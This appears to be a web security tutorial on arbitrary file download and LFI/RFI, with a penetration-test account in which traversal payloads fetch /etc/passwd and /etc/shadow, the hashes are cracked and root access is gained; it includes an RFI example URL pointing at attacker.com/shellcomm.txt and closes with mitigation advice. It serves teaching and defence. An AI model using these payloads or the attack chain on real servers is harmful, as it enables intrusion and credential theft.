Arbitrary file download: Breaking into the system
What you will learn:
Introduction to Arbitrary File Download
Difference between Arbitrary File Download and LFI/ RFI
How it is exploited- a real example
What you should know:
Basic Web related concepts
What is arbitrary file download?
As the name suggests, if the web application doesn’t check the file name required by the user, any malicious user can exploit this vulnerability to download sensitive files from the server.
Many web applications have file download sections where a user can download one or more files of his choice. If the input is not properly sanitized before being used to retrieve files from the file cabinet or retrieve attachments from a received message or memo, it can be exploited to download arbitrary files from the system via directory traversal attacks.
Consider this example:
Download_file (‘/var/www/store_file/’ + params[:filename])
This method takes user’s input and assigns the value to the ‘filename’ parameter. When user clicks on file to download,it appends the ‘filename’ parameter to the directory path ‘/var/www/store_file/’, which is used tostore the files being downloaded. For example, if user asks for ‘myFile’, the path will be ‘/var/www/store_file/myFile’. If file exists, it’s downloaded to the user’s HD;otherwise the user gets message ‘File Not Found’.
The above is an example of an ideal situation whichis not always the case. If in the code the developers have not properly validated the input from the user before assigning it to the ‘filename’ parameter, the consequences can be disastrous. If the user simply supplies’../../../etc/passwd’or ‘../../../etc/shadow’, they can download the server’s login information from the system, which can eventually be used to retrieve a valid user’s account and finally connecting and owning the server, which I shall show in a real scenario that I came across. On a successful exploitation, any file present on the server can be downloaded based on the account privileges in which the server is running. In this case, as the application server is running as the highest privilege user (root) on the system, we were able to obtain a copy of the shadow file.
What is LFI/ RFI:
Often confused, LFI/RFI is different from the Arbitrary File Download vulnerability. However, both are used in combination if directory traversal is turned on in the server. LFI and RFI stands for Local File Inclusion and Remote File Inclusion vulnerability. Both are of similar nature, except the mode of exploitation. Both take advantage of unfiltered input file parameters used by web applications, predominantly PHP. LFI, while exploited uses any local file which is available at the same machine where the web application is hosted, RFI, on the other hand includes any remotely hosted malicious file using URLs.
Let’s understand with an example:
The PHP include function is useful when one file is required several times. So instead of writing the code again and again, we can include the file inside many other files using the include() function.If a file such as color.php is required to be called several times in other files such as, vehicles.php, that could be just included as:
echo ” I love $color $brand”; //Prints I love Red BMW
A legitimate request might look like this: http://example .com/vehicles.php?pref=color.php. However, if the application fails to sanitize and an attacker provided the following:
http://example .com/vehicles.php?pref=../../../../etc/passwd,It will print down the contents of passwd file, which lists system accounts and user attributes.
Similarly RFI is:http://example .com/vehicles.php?pref=http://attacker.com/shellcomm.txt
Now, as we have seen the examples, we can see the major difference here. With LFI/ RFI, the resource is loaded and executed in the context of the current application. But in case of Arbitrary File Download, we are basically abusing the download functionality of a web application, which fails to restrict the user input to a specific directory. The user input goes beyond the directory and is able to download other critical files of the system.
A real scenario
As I said during security assessment of one application, I found one messaging section where you can post your comments and attach any files in support of your message. The application was built for real time messaging (like twitter) where your message reflects instantly and shares it with the community. So users postand read messages, uploads and downloadsattachment, if any. The download section was of particular interest.
- Clicking on the attachment starts downloading the file. When captured the request, we found that to download file, the absolute path was being provided. [Figure -1]
- Here, the application intends to let user download files stored in the specific directory/user/JBOSS/FINDS/download.I had discovered other vulnerabilities includingdirectory traversal attack earlier in the application. So I decided to launch the attack using the following attack vector :../../../../etc/passwd. ‘ ../’ means one step above the current directory structure, where we are currently. So we supply a long chain of ../ because we don’t know which level we are in the directory structure currently. In the most successful attacks, you should supply a long chain of ../, as that increases the probability of getting the files downloaded.
We replaced the absolute file path with ../../../../etc/passwd. [Figure 2]
- Thus, we successfully bypassed the above directory and were able to download the passwd file of the unix system. It was downloading ‘passwd’ file. [Figure 3]
- The application was successfully downloading the file.
Similarly by providing../../../../etc/shadow we wereable to download ‘shadow’ file as well.The ‘shadow’ file contains the username and corresponding encrypted password. More here http://en.wikipedia.org/wiki/Shadow_password
The captured response: [Figure 4]
And the ‘shadow’ file being downloaded. [Figure 5]
- We used a cracker tool called ‘John the ripper’ to retrieve the password in plain text. It’s available on Backtrack versions. We provided the ‘shadow’ file as input and cracked it in minutes. We got two user accounts, ‘root’ was one of them [Figure 6]:
- We used Putty to connect to the remote server using retrieved ‘root’ account. And voila, we logged on to the remote server used for hosting the web application. We could see various files, which could be a treat to an attacker’s eyes. We could list various log files such as install.log and install.log.syslog. [Figure7]
- Now we can browse through the whole filesystem on the server. [Figure 8]
- One approach is to store the file names in the database and name the files on the disk after the ids in the database
- Get only the filename, not the whole path
- If you need dynamic path concatenation, please make sure that to only accept valid characters such as “a-Z, 0-9”. Prevent users from entering characters like “..”, “/”, “%00” (null byte) or any other similar unexpected characters
- Ensure that the application server is never running with root privileges. Restrict the privileges to a limited user account.
Just as you have to filter file names for uploads, you have to do so for downloads. A simple solution against this is to check that the requested file is in the expected directory (Ruby on rails code):
basename = File.expand_path(File.join(File.dirname(__FILE__), ‘../../files’)) filename = File.expand_path(File.join(basename, @file.public_filename))
File.expand_path(File.join(File.dirname(filename), ‘../../../’))send_filefilename, :disposition =>’inline’